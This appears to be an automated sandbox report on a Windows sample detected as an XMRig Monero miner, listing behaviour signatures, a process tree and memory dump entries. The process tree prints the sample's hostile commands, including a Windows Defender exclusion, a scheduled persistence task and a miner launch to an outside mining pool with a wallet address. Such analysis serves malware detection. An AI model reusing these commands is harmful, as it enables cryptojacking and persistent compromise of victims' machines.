Analysis
- max time kernel
90s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
- submitted
29/01/2023, 17:32
General
- Target file.exe
- Size 3.5MB
- Sample230129-v397laff23
- SHA256 705b15734bf127d846734775e424cd6764c7e7ea12de6d74cd58298f450027bd
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- .NET Reactor proctector 2 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SRIKA" /tr "C:\ProgramData\versionApp\SRIKA.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SRIKA" /tr "C:\ProgramData\versionApp\SRIKA.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1748-150-0x00007FFD51160000-0x00007FFD51C21000-memory.dmp
memory/1748-148-0x00007FFD51160000-0x00007FFD51C21000-memory.dmp
memory/1748-147-0x00000273C0AC0000-0x00000273C0AE2000-memory.dmp
memory/4248-142-0x0000000000F40000-0x00000000013AC000-memory.dmp
memory/4248-154-0x00007FFD4E400000-0x00007FFD4E502000-memory.dmp
memory/4248-141-0x00007FFD52440000-0x00007FFD5258E000-memory.dmp
memory/4248-133-0x00007FFD52F40000-0x00007FFD52FEA000-memory.dmp
memory/4248-143-0x0000000000E90000-0x0000000000ED3000-memory.dmp
memory/4248-144-0x00007FFD51160000-0x00007FFD51C21000-memory.dmp
memory/4248-145-0x00007FFD6DBB0000-0x00007FFD6DBD7000-memory.dmp
memory/4248-139-0x00007FFD6EB90000-0x00007FFD6EBBB000-memory.dmp
memory/4248-138-0x00007FFD51160000-0x00007FFD51C21000-memory.dmp
memory/4248-137-0x00007FFD6E4E0000-0x00007FFD6E681000-memory.dmp
memory/4248-149-0x00007FFD51160000-0x00007FFD51C21000-memory.dmp
memory/4248-136-0x00007FFD52E80000-0x00007FFD52F3D000-memory.dmp
memory/4248-135-0x00007FFD6B4B0000-0x00007FFD6B4C2000-memory.dmp
memory/4248-134-0x00007FFD6E690000-0x00007FFD6E72E000-memory.dmp
memory/4248-153-0x00007FFD52E40000-0x00007FFD52E75000-memory.dmp
memory/4248-140-0x0000000000F40000-0x00000000013AC000-memory.dmp
memory/4248-155-0x00007FFD6EF00000-0x00007FFD6EF6B000-memory.dmp
memory/4248-156-0x00007FFD6C960000-0x00007FFD6C99B000-memory.dmp
memory/4248-166-0x00007FFD51160000-0x00007FFD51C21000-memory.dmp
memory/4248-165-0x0000000000F40000-0x00000000013AC000-memory.dmp
memory/4260-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4260-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4260-161-0x00000128A0B50000-0x00000128A0B70000-memory.dmp
memory/4260-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4260-163-0x0000012932D20000-0x0000012932D60000-memory.dmp
memory/4260-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4260-157-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4260-167-0x00000128A0BC0000-0x00000128A0BE0000-memory.dmp
memory/4260-168-0x00000129333A0000-0x00000129333C0000-memory.dmp
memory/4260-169-0x00000128A0BC0000-0x00000128A0BE0000-memory.dmp
memory/4260-170-0x00000129333A0000-0x00000129333C0000-memory.dmp